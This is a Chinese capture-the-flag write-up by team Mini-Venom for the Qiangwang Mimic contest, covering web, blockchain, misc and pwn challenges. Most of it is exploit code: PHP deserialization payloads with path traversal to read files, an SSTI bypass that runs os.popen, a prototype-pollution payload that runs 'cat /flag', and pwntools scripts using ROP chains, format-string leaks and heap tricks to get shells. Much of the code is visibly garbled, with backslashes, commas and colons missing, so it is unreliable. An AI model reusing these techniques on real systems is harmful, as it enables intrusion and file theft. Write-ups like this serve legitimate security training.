强网拟态 WriteUp by Mini-Venom

WriteUp 4周前 admin
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Web

ezus

解题思路 第一层 http://172.52.128.90/index.php/tm.php/%80?source 第二层 两个原题 https://blog.csdn.net/qq_41918771/article/details/105754357 https://blog.csdn.net/mochu7777777/article/details/127216646

先传

username=%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40&password=xxxx%22%3Bs%3A11%3A%22%00%2A%00password%22%3BO%3A5%3A%22order%22%3A3%3A%7Bs%3A1%3A%22f%22%3Bs%3A7%3A%22trypass%22%3Bs%3A4%3A%22hint%22%3Bs%3A60%3A%22mochu7%3A%2F%2Fprankhub%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Fwww%2Fhtml%2Fhint.php%22%3B%7D%7D

读到hint.php

强网拟态 WriteUp by Mini-Venom

然后传

username=%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40&password=xxxx%22%3Bs%3A11%3A%22%00%2A%00password%22%3BO%3A5%3A%22order%22%3A3%3A%7Bs%3A1%3A%22f%22%3Bs%3A7%3A%22trypass%22%3Bs%3A4%3A%22hint%22%3Bs%3A57%3A%22mochu7%3A%2F%2Fprankhub%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ff1111444449999.txt%22%3B%7D%7D

读到flag

强网拟态 WriteUp by Mini-Venom

没有人比我更懂py

解题思路

强网拟态 WriteUp by Mini-Venom

SSTI 但是限制了 a-zA-Z

iconv 转换后再 render,所以绕过思路应该就是在编码转换上

强网拟态 WriteUp by Mini-Venom

用全角英文即可
abcdefghigklmnopqrstuvwxyz
words = {"a""a","b""b","c""c","d""d","e""e","f""f","g""g","h""h","i""i","g""g","k""k","l""l","m""m","n""n","o""o","p""p","q""q","r""r","s""s","t""t","u""u","v""v","w""w","x""x","y""y","z""z"}
def convert(user_input):
  dst = user_input
  for w in words.keys():
    dst = dst.replace(w, words.get(w))
  return dst

convert("request.application.__globals__.__builtins__.__import__('os').popen('id').read()")

强网拟态 WriteUp by Mini-Venom

强网拟态 WriteUp by Mini-Venom

flag{lfxWrTfILF5cdfxpUMvg9L7AbrQxC148}

WHOYOUARE

解题思路

强网拟态 WriteUp by Mini-Venom

先 checkUser 对执行的命令进行了检查,之后通过 merge 重新 merge 的时候触发原型链污染,覆盖 user.command
{"user":"{"__proto__":{"command":["-c","cat /flag"]},"command":["-c","-i"]}"}

强网拟态 WriteUp by Mini-Venom


Blockchain

ToBeEquel

解题思路 题目禁用很多json rpc调用,只能用raw tx的方式与链上交互,需要用私钥签名交易后用geth的sendRawTransaction进行合约交互:

const Tx = require('ethereumjs-tx').Transaction
var privateKey = new Buffer('e8b923b1c045cb4c07c0c875a189fa168e7b5f0d848d82b5d9c6b1e346fc861c''hex')

var rawTx = {
  nonce: '0x00',
  gasPrice: '1000000000'
  gasLimit: '0x2710',
  to: '0x865ce4d250086ebb97bcd7eeda89207fa61b9211'
  value: '0x00'
  data: '0xa0f1d69c000000000000000000000000865ce4d250086ebb97bcd7eeda89207fa61b9211000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000155f43616c2875696e743235362c75696e7432353629000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000'
}

var tx = new Tx(rawTx)
tx.sign(privateKey)

var serializedTx = tx.serialize()
console.log(serializedTx.toString('hex'))

主要就是用CallTest函数调用_Cal函数,映射过来就是data=>amount,msg.sender=>value,所以要生成后两位为特殊字符的账号,也就是找靓号。

强网拟态 WriteUp by Mini-Venom

强网拟态 WriteUp by Mini-Venom

强网拟态 WriteUp by Mini-Venom

Misc

welcome

解题思路 附件下来的txt文件,打开就有了emmm

babymisc

解题思路 是一个猜数字小游戏,但是只给了十几次的机会,二分法也得碰运气,所以需要爆破,并且通过尝试,大概率区间是在100000-999999之间,然后就是碰运气了。 exp:

from pwn import *

context.log_level = 'debug'

s       = lambda data               :p.send(data)        
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
rl      = lambda s                  :p.recvline(s)
it      = lambda                    :p.interactive()


for j in range(500):
    p = remote("", 9999)
    ru("> ")
    sl("Y")
    min = 100000
    max = 999999
    for i in range(15):
        mid = int((min + max) / 2)
        ru("Please enter a number:")
        sl(str(mid).encode())
        msg = ru("n")
        if "low" in msg:
            min = mid
        elif "up" in msg:
            max = mid
        else:
            pass
    print(j)
    p.close()

Pwn

bfbf

解题思路 可以修改i,然后可以任意读写了,如下所示

强网拟态 WriteUp by Mini-Venom

泄露地址之后改个ROP链即可

from pwn import*
global p
libc = ELF("./lib/libc.so.6")


sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32    = lambda data   :u32(data.ljust(4, ''))
uu64    = lambda data   :u64(data.ljust(8, ''))
u64Leakbase = lambda offset :u64(ru("x7f")[-6: ] + '') - offset
u32Leakbase = lambda offset :u32(ru("xf7")[-4: ]) - offset
it      = lambda                    :p.interactive()


def lg(string,addr):
    print('33[1;31;40m%20s-->0x%x33[0m'%(string,addr))

def addIdx():
    return 'x3e'

def subIdx():
    return 'x3c'

def show():
    payload = ""
    for i in range(8):
        payload += 'x2e'
        payload += addIdx()
    return payload

def edit():
    payload = ""
    for i in range(8):
        payload += 'x2c'
        payload += addIdx()
    return payload


def expPwn():
    global p
    p = process("./pwn")
    payload = ""
    for i in range(0x240-0x8):
        payload += addIdx()
    payload += show()

    for i in range(0x18):
        payload += subIdx()
    payload += show()

    for i in range(0x18):
        payload += subIdx()

    #edit
    payload += 'x2c'
    payload += addIdx()
    payload += 'x2c'
    payload += addIdx()


    #gdb.attach(p,"b *$rebase(0x18CC)")
    #pause()
    p.send(payload)
    libc_addr = u64Leakbase(libc.sym['__libc_start_main'] + 243)
    lg("libc_addr",libc_addr)
    chunk_addr = u64(rc(0x8))/0x10000
    lg("chunk_addr",chunk_addr)
    p.send(p16(0x58e4))


    #local
    # pop_rdi_ret = libc_addr + 0x0000000000021882
    # pop_rsi_ret = libc_addr + 0x0000000000022192
    # pop_rdx_ret = libc_addr + 0x0000000000001b9a
    # pop_rax_ret = libc_addr + 0x0000000000038ee8
    # syscall_ret = libc_addr + 0x00000000000390a9

    #remote
    pop_rdi_ret = libc_addr + 0x0000000000023b6a
    pop_rsi_ret = libc_addr + 0x000000000002601f
    pop_rdx_ret = libc_addr + 0x0000000000142c92
    pop_rax_ret = libc_addr + 0x0000000000036174
    syscall_ret = libc_addr + 0x00000000000630a9

    orw = ""
    orw += p64(pop_rax_ret) + p64(2)
    orw += p64(pop_rdi_ret) + p64(chunk_addr+0x1000+0x80+0x2a0+0x8)
    orw += p64(pop_rsi_ret) + p64(0)
    orw += p64(pop_rdx_ret) + p64(0)
    orw += p64(syscall_ret)
    orw += p64(pop_rax_ret) + p64(40)
    orw += p64(pop_rdi_ret) + p64(1)
    orw += p64(pop_rsi_ret) + p64(3)
    orw += p64(syscall_ret)


    payload = ""
    for i in range(0x240-0x8-0x20):
        payload += addIdx()
    for i in range(len(orw)/8):
        payload += edit()
    payload += "./flagx00x00x00"

    p.send(payload)

    #pause()
    p.send(orw)

#cat flag
def regexp_out(data):
    patterns = [
        re.compile(r'(flag{.*?})'),
        re.compile(r'xnuca{(.*?)}'),
        re.compile(r'DASCTF{(.*?)}'),
        re.compile(r'WMCTF{.*?}'),
        re.compile(r'[0-9a-zA-Z]{8}-[0-9a-zA-Z]{3}-[0-9a-zA-Z]{5}'),
    ]
    for pattern in patterns:
        res = pattern.findall(data.decode() if isinstance(data, bytes) else data)
        if len(res) > 0:
            return str(res[0])
    return None
  

def bla():
    global p
    flag = ""
    try:
        expPwn()
        #p.recv(timeout=0.5)
        flag = p.recvuntil(b'}',timeout=0.5)
        print(flag)
    except:
        p.close()
  #continue
    if b'}' in flag:
        p.interactive()
        exit()
while(1):
    bla()

pwn1

解题思路

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwn import *
context(os='linux',arch='amd64', log_level='debug')#arch = 'i386')
filename='./pwn1'
p=process(filename)
p.recvuntil(b"Welcome to mimic world,try something")
p.sendline(b"1")
p.recvuntil(b"You will find some tricks")
func= int(p.recv(15),16)
success("func="+hex(func))
pie=func-0x000000A94
p.sendline(b'2')
p.recvuntil(b"hellon")
payload=b"%33$p,%34$p"
p.send(payload)
canary=int(p.recv(18),16)
p.recvuntil(b",")
buf=int(p.recv(14),16)

system=pie+0x00000000A2C 

pop_rdi_ret=elf_base+0x0000000c73

payload='a'*(0xc8)+p64(canary)+p64(0)+p64(pop_rdi_ret)
payload+=p64(pie+0x202068)+p64(system)
#gdb.attach(p)
p.send(payload)
#pause()
p.interactive()

pwn1-1

解题思路

#!/usr/bin/python2
# -*- encoding: utf-8 -*-
from pwn import *
context(os='linux',arch='amd64', log_level='debug')#arch = 'i386')
filename='./pwn1'
p=process(filename)
p.recvuntil(b"Welcome to mimic world,try something")
p.sendline(b"1")
p.recvuntil("You will find some tricks")
func= int(p.recv(15),16)
pie=func-0x12a0
success("func="+hex(func))
p.sendline(b"2")
p.recvuntil("hello")
p.sendline(b"%2p")
stack=p.recv(12)
stack=int(p.recv(15),16)
success("stack_base="+hex(stack))
pop_rdi_ret=pie+0x1943
system=pie+0x11a2
tar=stack-0x18
success("pie="+hex(pie))
payload=b'x00'*0xe8+p64(stack-0x10)+p64(stack+0xf0+0x50)+p64(pop_rdi_ret)+p64(pie+0x4050)+p64(system)

p.send(payload)
p.interactive()

pwn2-1

解题思路

#!/usr/bin/python2
# -*- encoding: utf-8 -*-
from pwn import *
context(os='linux',arch='amd64', log_level='debug')#arch = 'i386')
filename='./pwn2'
io=process(filename)
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
Ch="Your choice :"
Size="Note size :"
Con="Content :"
Idx="Index :"
def add(size,con):
    sal(Ch,str(1))
    sal(Size,str(size))
    sal(Con,con)
def delete(idx):
    sal(Ch,str(2))
    sal(Idx,str(idx))
def show(idx):
    sal(Ch,str(3))
    sal(Idx,str(idx))
def tips():
    sal(Ch,str(5))
    ru("let us give you some tips")
tips()
pie=int(io.recv(15),16)-0x11f0
shell=pie+0x1b70
success("pie_base = "+hex(pie))
add(0x100,'a')#1
add(0x18,'a')#2
delete(0)
delete(1)
add(0x100,'a')#3
add(0x18,p64(shell))#4
add(0x18,'a')
show(0)
io.interactive()


end


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原文始发于微信公众号(ChaMd5安全团队):强网拟态 WriteUp by Mini-Venom

版权声明:admin 发表于 2022年11月8日 上午8:00。
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